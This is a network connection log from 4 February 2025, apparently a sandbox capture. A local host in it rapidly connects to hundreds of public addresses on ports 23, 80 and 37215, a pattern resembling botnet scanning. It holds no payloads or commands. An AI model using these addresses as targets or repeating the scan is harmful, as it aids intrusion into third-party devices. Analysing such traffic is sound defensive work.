Feb 4, 2025 18:11:16.781977892 CET	37215	36016	197.157.167.236	192.168.2.15
Feb 4, 2025 18:11:16.782021046 CET	36016	37215	192.168.2.15	197.157.167.236
Feb 4, 2025 18:11:16.782399893 CET	43928	37215	192.168.2.15	197.0.255.111
Feb 4, 2025 18:11:16.782399893 CET	43928	37215	192.168.2.15	197.0.255.111
Feb 4, 2025 18:11:16.783387899 CET	44074	37215	192.168.2.15	197.0.255.111
Feb 4, 2025 18:11:16.783832073 CET	37215	38138	41.89.103.100	192.168.2.15
Feb 4, 2025 18:11:16.784617901 CET	33380	80	192.168.2.15	70.84.204.19
Feb 4, 2025 18:11:16.784919977 CET	45076	23	192.168.2.15	13.8.230.115
Feb 4, 2025 18:11:16.785212994 CET	36264	37215	192.168.2.15	156.52.86.18
Feb 4, 2025 18:11:16.785212994 CET	36264	37215	192.168.2.15	156.52.86.18
Feb 4, 2025 18:11:16.787170887 CET	36380	37215	192.168.2.15	156.52.86.18
Feb 4, 2025 18:11:16.787172079 CET	37215	43928	197.0.255.111	192.168.2.15
Feb 4, 2025 18:11:16.788115978 CET	55568	23	192.168.2.15	89.124.130.228
Feb 4, 2025 18:11:16.788393021 CET	37215	53094	41.229.92.72	192.168.2.15
Feb 4, 2025 18:11:16.788516045 CET	55458	80	192.168.2.15	25.237.15.163
Feb 4, 2025 18:11:16.789231062 CET	56890	37215	192.168.2.15	156.221.146.36
Feb 4, 2025 18:11:16.789231062 CET	56890	37215	192.168.2.15	156.221.146.36
Feb 4, 2025 18:11:16.789995909 CET	37215	36264	156.52.86.18	192.168.2.15
Feb 4, 2025 18:11:16.790364981 CET	56994	37215	192.168.2.15	156.221.146.36
Feb 4, 2025 18:11:16.791794062 CET	46548	23	192.168.2.15	150.113.3.162
Feb 4, 2025 18:11:16.792283058 CET	56880	37215	192.168.2.15	197.186.125.49
Feb 4, 2025 18:11:16.792299032 CET	36016	37215	192.168.2.15	197.157.167.236
Feb 4, 2025 18:11:16.792335033 CET	54850	37215	192.168.2.15	197.212.217.236
Feb 4, 2025 18:11:16.792433023 CET	37562	80	192.168.2.15	218.209.237.53
Feb 4, 2025 18:11:16.792874098 CET	23	55568	89.124.130.228	192.168.2.15
Feb 4, 2025 18:11:16.792917967 CET	55568	23	192.168.2.15	89.124.130.228
Feb 4, 2025 18:11:16.794048071 CET	37215	56890	156.221.146.36	192.168.2.15
Feb 4, 2025 18:11:16.794229984 CET	50204	23	192.168.2.15	213.177.22.203
Feb 4, 2025 18:11:16.795114994 CET	55510	80	192.168.2.15	159.187.251.131
Feb 4, 2025 18:11:16.796734095 CET	37215	47592	156.232.252.30	192.168.2.15
Feb 4, 2025 18:11:16.796799898 CET	37215	48016	197.249.19.10	192.168.2.15
Feb 4, 2025 18:11:16.796808004 CET	37215	33992	197.172.1.62	192.168.2.15
Feb 4, 2025 18:11:16.797013044 CET	43316	23	192.168.2.15	103.196.7.239
Feb 4, 2025 18:11:16.797149897 CET	37215	56880	197.186.125.49	192.168.2.15
Feb 4, 2025 18:11:16.797194004 CET	56880	37215	192.168.2.15	197.186.125.49
Feb 4, 2025 18:11:16.797297955 CET	37215	36016	197.157.167.236	192.168.2.15
Feb 4, 2025 18:11:16.797307014 CET	37215	54850	197.212.217.236	192.168.2.15
Feb 4, 2025 18:11:16.797338963 CET	36016	37215	192.168.2.15	197.157.167.236
Feb 4, 2025 18:11:16.797355890 CET	42670	80	192.168.2.15	61.237.9.180
Feb 4, 2025 18:11:16.797411919 CET	54850	37215	192.168.2.15	197.212.217.236
Feb 4, 2025 18:11:16.799304962 CET	59998	23	192.168.2.15	169.73.246.89
Feb 4, 2025 18:11:16.800112009 CET	35980	80	192.168.2.15	134.102.52.20
Feb 4, 2025 18:11:16.801775932 CET	23	43316	103.196.7.239	192.168.2.15
Feb 4, 2025 18:11:16.801914930 CET	43316	23	192.168.2.15	103.196.7.239
Feb 4, 2025 18:11:16.802011967 CET	44884	23	192.168.2.15	43.165.196.189
Feb 4, 2025 18:11:16.802926064 CET	59738	80	192.168.2.15	62.152.196.59
Feb 4, 2025 18:11:16.804357052 CET	60516	23	192.168.2.15	97.21.127.190
Feb 4, 2025 18:11:16.804433107 CET	37215	54460	197.212.217.236	192.168.2.15
Feb 4, 2025 18:11:16.804444075 CET	37215	37500	41.80.3.189	192.168.2.15
Feb 4, 2025 18:11:16.805633068 CET	32864	80	192.168.2.15	70.218.234.158
Feb 4, 2025 18:11:16.806706905 CET	36398	23	192.168.2.15	88.106.15.52
Feb 4, 2025 18:11:16.807992935 CET	48452	80	192.168.2.15	59.197.123.191
Feb 4, 2025 18:11:16.808451891 CET	48878	23	192.168.2.15	201.162.123.253
Feb 4, 2025 18:11:16.810389996 CET	56618	80	192.168.2.15	163.191.21.183
Feb 4, 2025 18:11:16.810720921 CET	48400	23	192.168.2.15	72.233.191.4
Feb 4, 2025 18:11:16.810813904 CET	59666	58376	212.64.199.23	192.168.2.15
Feb 4, 2025 18:11:16.810877085 CET	58376	59666	192.168.2.15	212.64.199.23
Feb 4, 2025 18:11:16.810877085 CET	58376	59666	192.168.2.15	212.64.199.23
Feb 4, 2025 18:11:16.812443018 CET	37215	44564	41.156.70.108	192.168.2.15
Feb 4, 2025 18:11:16.812452078 CET	37215	34294	41.216.131.125	192.168.2.15
Feb 4, 2025 18:11:16.812460899 CET	37215	49706	197.159.207.228	192.168.2.15
Feb 4, 2025 18:11:16.812732935 CET	80	48452	59.197.123.191	192.168.2.15
Feb 4, 2025 18:11:16.812773943 CET	48452	80	192.168.2.15	59.197.123.191
Feb 4, 2025 18:11:16.813740015 CET	53464	80	192.168.2.15	35.94.114.161
Feb 4, 2025 18:11:16.814012051 CET	48500	23	192.168.2.15	80.214.79.100
Feb 4, 2025 18:11:16.816440105 CET	37215	57500	41.229.202.43	192.168.2.15
Feb 4, 2025 18:11:16.816675901 CET	54454	23	192.168.2.15	14.219.16.84
Feb 4, 2025 18:11:16.816766024 CET	33860	80	192.168.2.15	74.163.151.103
Feb 4, 2025 18:11:16.819370985 CET	51950	23	192.168.2.15	77.105.124.183
Feb 4, 2025 18:11:16.819575071 CET	46866	80	192.168.2.15	44.56.110.156
Feb 4, 2025 18:11:16.820461035 CET	37215	42116	41.197.212.105	192.168.2.15
Feb 4, 2025 18:11:16.821492910 CET	23	54454	14.219.16.84	192.168.2.15
Feb 4, 2025 18:11:16.821536064 CET	54454	23	192.168.2.15	14.219.16.84
Feb 4, 2025 18:11:16.821616888 CET	60398	23	192.168.2.15	200.98.163.145
Feb 4, 2025 18:11:16.821917057 CET	42064	80	192.168.2.15	79.68.93.23
Feb 4, 2025 18:11:16.824294090 CET	59010	23	192.168.2.15	125.246.67.203
Feb 4, 2025 18:11:16.824507952 CET	52760	80	192.168.2.15	87.159.213.41
Feb 4, 2025 18:11:16.826524019 CET	49222	23	192.168.2.15	219.24.38.221
Feb 4, 2025 18:11:16.827362061 CET	40282	80	192.168.2.15	122.230.149.114
Feb 4, 2025 18:11:16.828453064 CET	37215	38138	41.89.103.100	192.168.2.15
Feb 4, 2025 18:11:16.828471899 CET	37215	35832	197.157.167.236	192.168.2.15
Feb 4, 2025 18:11:16.828481913 CET	37215	43928	197.0.255.111	192.168.2.15
Feb 4, 2025 18:11:16.829533100 CET	44594	23	192.168.2.15	149.64.123.161
Feb 4, 2025 18:11:16.829816103 CET	55176	80	192.168.2.15	186.116.115.17
Feb 4, 2025 18:11:16.831655979 CET	38488	23	192.168.2.15	154.23.122.183
Feb 4, 2025 18:11:16.832165956 CET	80	40282	122.230.149.114	192.168.2.15
Feb 4, 2025 18:11:16.832206011 CET	40282	80	192.168.2.15	122.230.149.114
Feb 4, 2025 18:11:16.832436085 CET	55956	80	192.168.2.15	173.182.50.119
Feb 4, 2025 18:11:16.834562063 CET	50440	23	192.168.2.15	23.37.174.216
Feb 4, 2025 18:11:16.835506916 CET	41596	80	192.168.2.15	204.180.52.55
Feb 4, 2025 18:11:16.836414099 CET	37215	56890	156.221.146.36	192.168.2.15
Feb 4, 2025 18:11:16.836425066 CET	37215	36264	156.52.86.18	192.168.2.15
Feb 4, 2025 18:11:16.836757898 CET	58266	23	192.168.2.15	157.114.240.247
Feb 4, 2025 18:11:16.838323116 CET	49602	80	192.168.2.15	216.213.46.231
Feb 4, 2025 18:11:16.839659929 CET	44438	23	192.168.2.15	67.19.104.111
Feb 4, 2025 18:11:16.840382099 CET	80	41596	204.180.52.55	192.168.2.15
Feb 4, 2025 18:11:16.840425968 CET	41596	80	192.168.2.15	204.180.52.55
Feb 4, 2025 18:11:16.841342926 CET	37202	80	192.168.2.15	67.218.78.191
Feb 4, 2025 18:11:16.842020988 CET	36524	23	192.168.2.15	101.149.182.66
Feb 4, 2025 18:11:16.844130039 CET	41752	80	192.168.2.15	180.247.222.119
Feb 4, 2025 18:11:16.844636917 CET	53916	23	192.168.2.15	143.176.243.0
Feb 4, 2025 18:11:16.847068071 CET	49738	23	192.168.2.15	182.8.63.154
Feb 4, 2025 18:11:16.847215891 CET	56602	80	192.168.2.15	126.182.35.205
Feb 4, 2025 18:11:16.849333048 CET	56634	80	192.168.2.15	148.124.95.174
Feb 4, 2025 18:11:16.849647999 CET	49072	23	192.168.2.15	91.197.80.122
Feb 4, 2025 18:11:16.851620913 CET	38282	23	192.168.2.15	153.133.111.189
Feb 4, 2025 18:11:16.851761103 CET	33660	80	192.168.2.15	40.223.8.205
Feb 4, 2025 18:11:16.854250908 CET	36338	23	192.168.2.15	65.223.132.139
Feb 4, 2025 18:11:16.854445934 CET	50532	80	192.168.2.15	212.81.176.109
Feb 4, 2025 18:11:16.854598999 CET	80	56634	148.124.95.174	192.168.2.15
Feb 4, 2025 18:11:16.854636908 CET	56634	80	192.168.2.15	148.124.95.174
Feb 4, 2025 18:11:16.856308937 CET	38196	23	192.168.2.15	19.206.74.68
Feb 4, 2025 18:11:16.856714010 CET	33022	80	192.168.2.15	192.28.191.237
Feb 4, 2025 18:11:16.859523058 CET	36594	23	192.168.2.15	27.146.17.170
Feb 4, 2025 18:11:16.859765053 CET	44218	80	192.168.2.15	128.144.240.143
Feb 4, 2025 18:11:16.861115932 CET	23	38196	19.206.74.68	192.168.2.15
Feb 4, 2025 18:11:16.861164093 CET	38196	23	192.168.2.15	19.206.74.68
Feb 4, 2025 18:11:16.862258911 CET	56388	80	192.168.2.15	166.138.238.35
Feb 4, 2025 18:11:16.863843918 CET	46948	80	192.168.2.15	198.160.236.62
Feb 4, 2025 18:11:16.865273952 CET	43514	80	192.168.2.15	107.223.216.240
Feb 4, 2025 18:11:16.867188931 CET	53512	80	192.168.2.15	168.68.13.8
Feb 4, 2025 18:11:16.869290113 CET	53656	80	192.168.2.15	116.7.76.23
Feb 4, 2025 18:11:16.874114037 CET	80	53656	116.7.76.23	192.168.2.15
Feb 4, 2025 18:11:16.874162912 CET	53656	80	192.168.2.15	116.7.76.23
Feb 4, 2025 18:11:16.875297070 CET	45988	23	192.168.2.15	46.166.230.137
Feb 4, 2025 18:11:16.877068996 CET	48512	23	192.168.2.15	52.227.42.217
Feb 4, 2025 18:11:16.881850004 CET	23	48512	52.227.42.217	192.168.2.15
Feb 4, 2025 18:11:16.881931067 CET	48512	23	192.168.2.15	52.227.42.217
Feb 4, 2025 18:11:16.883486986 CET	37730	80	192.168.2.15	57.100.84.199
Feb 4, 2025 18:11:16.885477066 CET	45286	80	192.168.2.15	134.62.75.223
Feb 4, 2025 18:11:16.887106895 CET	46724	80	192.168.2.15	206.199.245.36
Feb 4, 2025 18:11:16.889065981 CET	58820	80	192.168.2.15	19.144.149.113
Feb 4, 2025 18:11:16.890872002 CET	35102	80	192.168.2.15	126.143.12.162
Feb 4, 2025 18:11:16.892448902 CET	51508	80	192.168.2.15	98.185.1.120
Feb 4, 2025 18:11:16.893948078 CET	80	58820	19.144.149.113	192.168.2.15
Feb 4, 2025 18:11:16.893991947 CET	58820	80	192.168.2.15	19.144.149.113
Feb 4, 2025 18:11:16.894170046 CET	54694	80	192.168.2.15	4.252.219.51
Feb 4, 2025 18:11:16.895843029 CET	37250	80	192.168.2.15	171.125.195.174
Feb 4, 2025 18:11:16.897500992 CET	39252	80	192.168.2.15	179.62.125.110
Feb 4, 2025 18:11:16.899437904 CET	51320	80	192.168.2.15	2.51.215.69
Feb 4, 2025 18:11:16.900621891 CET	80	37250	171.125.195.174	192.168.2.15
Feb 4, 2025 18:11:16.900696993 CET	37250	80	192.168.2.15	171.125.195.174
Feb 4, 2025 18:11:16.901335001 CET	41838	80	192.168.2.15	34.27.137.224
Feb 4, 2025 18:11:16.902828932 CET	41892	80	192.168.2.15	41.15.181.215
Feb 4, 2025 18:11:16.904846907 CET	40134	80	192.168.2.15	150.170.24.90
Feb 4, 2025 18:11:16.906611919 CET	41766	80	192.168.2.15	124.184.212.227
Feb 4, 2025 18:11:16.908269882 CET	38276	80	192.168.2.15	19.122.225.91
Feb 4, 2025 18:11:16.909858942 CET	60086	80	192.168.2.15	40.54.178.141
Feb 4, 2025 18:11:16.911536932 CET	36514	80	192.168.2.15	93.55.208.184
Feb 4, 2025 18:11:16.913026094 CET	80	38276	19.122.225.91	192.168.2.15
Feb 4, 2025 18:11:16.913062096 CET	38276	80	192.168.2.15	19.122.225.91
Feb 4, 2025 18:11:16.913258076 CET	55872	80	192.168.2.15	108.82.109.60
Feb 4, 2025 18:11:16.914917946 CET	57758	80	192.168.2.15	140.218.15.131
Feb 4, 2025 18:11:16.916117907 CET	55456	80	192.168.2.15	177.82.8.49
Feb 4, 2025 18:11:16.916189909 CET	55456	80	192.168.2.15	177.82.8.49
Feb 4, 2025 18:11:16.916887999 CET	56186	80	192.168.2.15	177.82.8.49
Feb 4, 2025 18:11:16.917824984 CET	40594	80	192.168.2.15	80.99.95.150
Feb 4, 2025 18:11:16.917824984 CET	40594	80	192.168.2.15	80.99.95.150
Feb 4, 2025 18:11:16.918674946 CET	41306	80	192.168.2.15	80.99.95.150
Feb 4, 2025 18:11:16.919598103 CET	48226	80	192.168.2.15	95.13.149.114
Feb 4, 2025 18:11:16.919598103 CET	48226	80	192.168.2.15	95.13.149.114
Feb 4, 2025 18:11:16.920459986 CET	48924	80	192.168.2.15	95.13.149.114
Feb 4, 2025 18:11:16.920917034 CET	80	55456	177.82.8.49	192.168.2.15
Feb 4, 2025 18:11:16.921240091 CET	36720	80	192.168.2.15	181.156.61.20
Feb 4, 2025 18:11:16.921240091 CET	36720	80	192.168.2.15	181.156.61.20
Feb 4, 2025 18:11:16.921688080 CET	80	56186	177.82.8.49	192.168.2.15
Feb 4, 2025 18:11:16.921830893 CET	56186	80	192.168.2.15	177.82.8.49
Feb 4, 2025 18:11:16.922270060 CET	37402	80	192.168.2.15	181.156.61.20
Feb 4, 2025 18:11:16.922629118 CET	80	40594	80.99.95.150	192.168.2.15
Feb 4, 2025 18:11:16.923331022 CET	47426	80	192.168.2.15	173.206.97.190
Feb 4, 2025 18:11:16.923331022 CET	47426	80	192.168.2.15	173.206.97.190
Feb 4, 2025 18:11:16.924185038 CET	48098	80	192.168.2.15	173.206.97.190
Feb 4, 2025 18:11:16.924336910 CET	80	48226	95.13.149.114	192.168.2.15
Feb 4, 2025 18:11:16.925091982 CET	55492	80	192.168.2.15	12.97.179.162
Feb 4, 2025 18:11:16.925091982 CET	55492	80	192.168.2.15	12.97.179.162
Feb 4, 2025 18:11:16.926018953 CET	56156	80	192.168.2.15	12.97.179.162
Feb 4, 2025 18:11:16.926023006 CET	80	36720	181.156.61.20	192.168.2.15
Feb 4, 2025 18:11:16.927115917 CET	45246	80	192.168.2.15	181.72.225.6
Feb 4, 2025 18:11:16.927115917 CET	45246	80	192.168.2.15	181.72.225.6
Feb 4, 2025 18:11:16.927990913 CET	45864	80	192.168.2.15	181.72.225.6
Feb 4, 2025 18:11:16.928078890 CET	80	47426	173.206.97.190	192.168.2.15
Feb 4, 2025 18:11:16.929217100 CET	52328	80	192.168.2.15	84.59.111.135
Feb 4, 2025 18:11:16.929217100 CET	52328	80	192.168.2.15	84.59.111.135
Feb 4, 2025 18:11:16.929828882 CET	80	55492	12.97.179.162	192.168.2.15
Feb 4, 2025 18:11:16.930126905 CET	52782	80	192.168.2.15	84.59.111.135
Feb 4, 2025 18:11:16.931071043 CET	33892	80	192.168.2.15	75.202.255.136
Feb 4, 2025 18:11:16.931071997 CET	33892	80	192.168.2.15	75.202.255.136
Feb 4, 2025 18:11:16.931888103 CET	80	45246	181.72.225.6	192.168.2.15
Feb 4, 2025 18:11:16.932022095 CET	34264	80	192.168.2.15	75.202.255.136
Feb 4, 2025 18:11:16.932777882 CET	80	45864	181.72.225.6	192.168.2.15
Feb 4, 2025 18:11:16.932838917 CET	45864	80	192.168.2.15	181.72.225.6
Feb 4, 2025 18:11:16.932893038 CET	34258	80	192.168.2.15	139.62.254.107
Feb 4, 2025 18:11:16.932893038 CET	34258	80	192.168.2.15	139.62.254.107
Feb 4, 2025 18:11:16.933707952 CET	34624	80	192.168.2.15	139.62.254.107
Feb 4, 2025 18:11:16.934047937 CET	80	52328	84.59.111.135	192.168.2.15
Feb 4, 2025 18:11:16.934494019 CET	49594	80	192.168.2.15	115.185.195.251
Feb 4, 2025 18:11:16.934494019 CET	49594	80	192.168.2.15	115.185.195.251
Feb 4, 2025 18:11:16.935445070 CET	49914	80	192.168.2.15	115.185.195.251
Feb 4, 2025 18:11:16.935822010 CET	80	33892	75.202.255.136	192.168.2.15
Feb 4, 2025 18:11:16.936289072 CET	46086	80	192.168.2.15	104.108.17.71
Feb 4, 2025 18:11:16.936289072 CET	46086	80	192.168.2.15	104.108.17.71
Feb 4, 2025 18:11:16.937170982 CET	46312	80	192.168.2.15	104.108.17.71
Feb 4, 2025 18:11:16.937660933 CET	80	34258	139.62.254.107	192.168.2.15
Feb 4, 2025 18:11:16.937884092 CET	48452	80	192.168.2.15	59.197.123.191
Feb 4, 2025 18:11:16.937899113 CET	48452	80	192.168.2.15	59.197.123.191
Feb 4, 2025 18:11:16.938932896 CET	48610	80	192.168.2.15	59.197.123.191
Feb 4, 2025 18:11:16.939801931 CET	40282	80	192.168.2.15	122.230.149.114
Feb 4, 2025 18:11:16.939801931 CET	40282	80	192.168.2.15	122.230.149.114
Feb 4, 2025 18:11:16.939840078 CET	80	49594	115.185.195.251	192.168.2.15
Feb 4, 2025 18:11:16.940713882 CET	40412	80	192.168.2.15	122.230.149.114
Feb 4, 2025 18:11:16.940737009 CET	80	49914	115.185.195.251	192.168.2.15
Feb 4, 2025 18:11:16.940773010 CET	49914	80	192.168.2.15	115.185.195.251
Feb 4, 2025 18:11:16.941530943 CET	80	46086	104.108.17.71	192.168.2.15
Feb 4, 2025 18:11:16.941585064 CET	41596	80	192.168.2.15	204.180.52.55
Feb 4, 2025 18:11:16.941585064 CET	41596	80	192.168.2.15	204.180.52.55
Feb 4, 2025 18:11:16.942446947 CET	41716	80	192.168.2.15	204.180.52.55
Feb 4, 2025 18:11:16.942992926 CET	80	48452	59.197.123.191	192.168.2.15
Feb 4, 2025 18:11:16.943336010 CET	56634	80	192.168.2.15	148.124.95.174
Feb 4, 2025 18:11:16.943336010 CET	56634	80	192.168.2.15	148.124.95.174
Feb 4, 2025 18:11:16.944113970 CET	56736	80	192.168.2.15	148.124.95.174
Feb 4, 2025 18:11:16.945097923 CET	53656	80	192.168.2.15	116.7.76.23
Feb 4, 2025 18:11:16.945099115 CET	53656	80	192.168.2.15	116.7.76.23
Feb 4, 2025 18:11:16.945235968 CET	80	40282	122.230.149.114	192.168.2.15
Feb 4, 2025 18:11:16.945816040 CET	53732	80	192.168.2.15	116.7.76.23
Feb 4, 2025 18:11:16.946824074 CET	58820	80	192.168.2.15	19.144.149.113
Feb 4, 2025 18:11:16.946824074 CET	58820	80	192.168.2.15	19.144.149.113
Feb 4, 2025 18:11:16.946955919 CET	80	41596	204.180.52.55	192.168.2.15
Feb 4, 2025 18:11:16.947711945 CET	58886	80	192.168.2.15	19.144.149.113
Feb 4, 2025 18:11:16.948606014 CET	37250	80	192.168.2.15	171.125.195.174
Feb 4, 2025 18:11:16.948606014 CET	37250	80	192.168.2.15	171.125.195.174
Feb 4, 2025 18:11:16.948734999 CET	80	56634	148.124.95.174	192.168.2.15
Feb 4, 2025 18:11:16.949305058 CET	37310	80	192.168.2.15	171.125.195.174
Feb 4, 2025 18:11:16.950176001 CET	38276	80	192.168.2.15	19.122.225.91
Feb 4, 2025 18:11:16.950186968 CET	38276	80	192.168.2.15	19.122.225.91
Feb 4, 2025 18:11:16.950278044 CET	80	53656	116.7.76.23	192.168.2.15
Feb 4, 2025 18:11:16.950884104 CET	38324	80	192.168.2.15	19.122.225.91
Feb 4, 2025 18:11:16.951823950 CET	56186	80	192.168.2.15	177.82.8.49
Feb 4, 2025 18:11:16.951849937 CET	49914	80	192.168.2.15	115.185.195.251
Feb 4, 2025 18:11:16.951853037 CET	45864	80	192.168.2.15	181.72.225.6
Feb 4, 2025 18:11:16.952533007 CET	80	58820	19.144.149.113	192.168.2.15
Feb 4, 2025 18:11:16.953118086 CET	80	58886	19.144.149.113	192.168.2.15
Feb 4, 2025 18:11:16.953181028 CET	58886	80	192.168.2.15	19.144.149.113
Feb 4, 2025 18:11:16.953181028 CET	58886	80	192.168.2.15	19.144.149.113
Feb 4, 2025 18:11:16.953633070 CET	80	37250	171.125.195.174	192.168.2.15
Feb 4, 2025 18:11:16.954895020 CET	80	38276	19.122.225.91	192.168.2.15
Feb 4, 2025 18:11:16.956628084 CET	80	56186	177.82.8.49	192.168.2.15
Feb 4, 2025 18:11:16.956680059 CET	80	49914	115.185.195.251	192.168.2.15
Feb 4, 2025 18:11:16.956688881 CET	80	45864	181.72.225.6	192.168.2.15
Feb 4, 2025 18:11:16.956705093 CET	56186	80	192.168.2.15	177.82.8.49
Feb 4, 2025 18:11:16.956723928 CET	49914	80	192.168.2.15	115.185.195.251
Feb 4, 2025 18:11:16.956724882 CET	45864	80	192.168.2.15	181.72.225.6
Feb 4, 2025 18:11:16.958082914 CET	80	58886	19.144.149.113	192.168.2.15
Feb 4, 2025 18:11:16.958142996 CET	58886	80	192.168.2.15	19.144.149.113
Feb 4, 2025 18:11:16.964459896 CET	80	55456	177.82.8.49	192.168.2.15
Feb 4, 2025 18:11:16.964472055 CET	80	40594	80.99.95.150	192.168.2.15
Feb 4, 2025 18:11:16.968431950 CET	80	47426	173.206.97.190	192.168.2.15
Feb 4, 2025 18:11:16.968444109 CET	80	48226	95.13.149.114	192.168.2.15
Feb 4, 2025 18:11:16.968451977 CET	80	36720	181.156.61.20	192.168.2.15
Feb 4, 2025 18:11:16.972443104 CET	80	45246	181.72.225.6	192.168.2.15
Feb 4, 2025 18:11:16.972453117 CET	80	55492	12.97.179.162	192.168.2.15
Feb 4, 2025 18:11:16.976455927 CET	80	33892	75.202.255.136	192.168.2.15
Feb 4, 2025 18:11:16.976464987 CET	80	52328	84.59.111.135	192.168.2.15
Feb 4, 2025 18:11:16.980412006 CET	80	49594	115.185.195.251	192.168.2.15
Feb 4, 2025 18:11:16.980421066 CET	80	34258	139.62.254.107	192.168.2.15
Feb 4, 2025 18:11:16.984426975 CET	80	48452	59.197.123.191	192.168.2.15
Feb 4, 2025 18:11:16.984438896 CET	80	46086	104.108.17.71	192.168.2.15
Feb 4, 2025 18:11:16.988420963 CET	80	41596	204.180.52.55	192.168.2.15
Feb 4, 2025 18:11:16.988430977 CET	80	40282	122.230.149.114	192.168.2.15
Feb 4, 2025 18:11:16.996452093 CET	80	53656	116.7.76.23	192.168.2.15
Feb 4, 2025 18:11:16.996464014 CET	80	56634	148.124.95.174	192.168.2.15
Feb 4, 2025 18:11:16.996473074 CET	80	38276	19.122.225.91	192.168.2.15
Feb 4, 2025 18:11:16.996483088 CET	80	37250	171.125.195.174	192.168.2.15
Feb 4, 2025 18:11:16.996490955 CET	80	58820	19.144.149.113	192.168.2.15
Feb 4, 2025 18:11:17.302675962 CET	52054	23	192.168.2.15	170.144.61.73
Feb 4, 2025 18:11:17.308491945 CET	23	52054	170.144.61.73	192.168.2.15
Feb 4, 2025 18:11:17.308547020 CET	52054	23	192.168.2.15	170.144.61.73
Feb 4, 2025 18:11:17.308675051 CET	10645	23	192.168.2.15	135.100.245.21
Feb 4, 2025 18:11:17.308676958 CET	10645	23	192.168.2.15	79.27.218.248
Feb 4, 2025 18:11:17.308675051 CET	10645	23	192.168.2.15	73.120.84.50
Feb 4, 2025 18:11:17.308691978 CET	10645	23	192.168.2.15	98.222.133.90
Feb 4, 2025 18:11:17.308690071 CET	10645	23	192.168.2.15	103.144.207.236
Feb 4, 2025 18:11:17.308693886 CET	10645	23	192.168.2.15	14.195.188.161
Feb 4, 2025 18:11:17.308693886 CET	10645	23	192.168.2.15	5.102.62.64
Feb 4, 2025 18:11:17.308693886 CET	10645	23	192.168.2.15	216.112.62.153
Feb 4, 2025 18:11:17.308690071 CET	10645	23	192.168.2.15	120.76.27.199
Feb 4, 2025 18:11:17.308705091 CET	10645	23	192.168.2.15	203.67.153.247
Feb 4, 2025 18:11:17.308703899 CET	10645	23	192.168.2.15	179.206.1.151
Feb 4, 2025 18:11:17.308706045 CET	10645	23	192.168.2.15	150.185.202.190
Feb 4, 2025 18:11:17.308706045 CET	10645	23	192.168.2.15	196.111.27.248
Feb 4, 2025 18:11:17.308706045 CET	10645	23	192.168.2.15	186.92.17.8
Feb 4, 2025 18:11:17.308728933 CET	10645	23	192.168.2.15	209.46.114.98
Feb 4, 2025 18:11:17.308737993 CET	10645	23	192.168.2.15	128.101.181.56
Feb 4, 2025 18:11:17.308737993 CET	10645	23	192.168.2.15	138.137.5.244
Feb 4, 2025 18:11:17.308744907 CET	10645	23	192.168.2.15	60.120.97.225
Feb 4, 2025 18:11:17.308744907 CET	10645	23	192.168.2.15	35.153.2.75
Feb 4, 2025 18:11:17.308748007 CET	10645	23	192.168.2.15	19.133.170.9
Feb 4, 2025 18:11:17.308746099 CET	10645	23	192.168.2.15	83.222.57.31
Feb 4, 2025 18:11:17.308749914 CET	10645	23	192.168.2.15	62.148.177.164
Feb 4, 2025 18:11:17.308748007 CET	10645	23	192.168.2.15	125.241.98.131
Feb 4, 2025 18:11:17.308744907 CET	10645	23	192.168.2.15	135.0.104.27
Feb 4, 2025 18:11:17.308748007 CET	10645	23	192.168.2.15	60.11.14.68
Feb 4, 2025 18:11:17.308749914 CET	10645	23	192.168.2.15	108.14.30.154
Feb 4, 2025 18:11:17.308773041 CET	10645	23	192.168.2.15	165.4.109.184
Feb 4, 2025 18:11:17.308780909 CET	10645	23	192.168.2.15	95.230.94.251
Feb 4, 2025 18:11:17.308780909 CET	10645	23	192.168.2.15	176.227.201.147
Feb 4, 2025 18:11:17.308783054 CET	10645	23	192.168.2.15	166.184.185.186
Feb 4, 2025 18:11:17.308789968 CET	10645	23	192.168.2.15	1.100.101.232
Feb 4, 2025 18:11:17.308789968 CET	10645	23	192.168.2.15	61.135.237.110
Feb 4, 2025 18:11:17.308796883 CET	10645	23	192.168.2.15	220.13.25.223
Feb 4, 2025 18:11:17.308798075 CET	10645	23	192.168.2.15	150.28.130.156
Feb 4, 2025 18:11:17.308803082 CET	10645	23	192.168.2.15	24.193.246.27
Feb 4, 2025 18:11:17.308803082 CET	10645	23	192.168.2.15	153.61.212.178
Feb 4, 2025 18:11:17.308805943 CET	10645	23	192.168.2.15	138.0.178.5
Feb 4, 2025 18:11:17.308805943 CET	10645	23	192.168.2.15	44.99.241.8
Feb 4, 2025 18:11:17.308811903 CET	10645	23	192.168.2.15	160.189.244.145
Feb 4, 2025 18:11:17.308819056 CET	10645	23	192.168.2.15	169.157.241.220
Feb 4, 2025 18:11:17.308819056 CET	10645	23	192.168.2.15	38.230.229.50
Feb 4, 2025 18:11:17.308835983 CET	10645	23	192.168.2.15	92.179.133.107
Feb 4, 2025 18:11:17.308836937 CET	10645	23	192.168.2.15	60.37.55.70
Feb 4, 2025 18:11:17.308846951 CET	10645	23	192.168.2.15	99.234.36.235
Feb 4, 2025 18:11:17.308850050 CET	10645	23	192.168.2.15	152.58.64.61
Feb 4, 2025 18:11:17.308851004 CET	10645	23	192.168.2.15	197.130.168.96
Feb 4, 2025 18:11:17.308861017 CET	10645	23	192.168.2.15	119.214.26.208
Feb 4, 2025 18:11:17.308865070 CET	10645	23	192.168.2.15	198.169.13.0
Feb 4, 2025 18:11:17.308865070 CET	10645	23	192.168.2.15	139.94.214.93
Feb 4, 2025 18:11:17.308865070 CET	10645	23	192.168.2.15	155.88.206.36
Feb 4, 2025 18:11:17.308865070 CET	10645	23	192.168.2.15	78.193.117.192
Feb 4, 2025 18:11:17.308876038 CET	10645	23	192.168.2.15	100.195.21.13
Feb 4, 2025 18:11:17.308878899 CET	10645	23	192.168.2.15	85.42.61.191
Feb 4, 2025 18:11:17.308878899 CET	10645	23	192.168.2.15	66.53.112.192
Feb 4, 2025 18:11:17.308881044 CET	10645	23	192.168.2.15	128.188.11.54
Feb 4, 2025 18:11:17.308881044 CET	10645	23	192.168.2.15	217.107.102.98
Feb 4, 2025 18:11:17.308883905 CET	10645	23	192.168.2.15	129.179.218.153
Feb 4, 2025 18:11:17.308883905 CET	10645	23	192.168.2.15	178.152.67.19
Feb 4, 2025 18:11:17.308883905 CET	10645	23	192.168.2.15	217.43.65.135
Feb 4, 2025 18:11:17.308895111 CET	10645	23	192.168.2.15	111.21.103.25
Feb 4, 2025 18:11:17.308895111 CET	10645	23	192.168.2.15	27.43.19.203
Feb 4, 2025 18:11:17.308897018 CET	10645	23	192.168.2.15	41.222.112.8
Feb 4, 2025 18:11:17.308897018 CET	10645	23	192.168.2.15	129.176.239.26
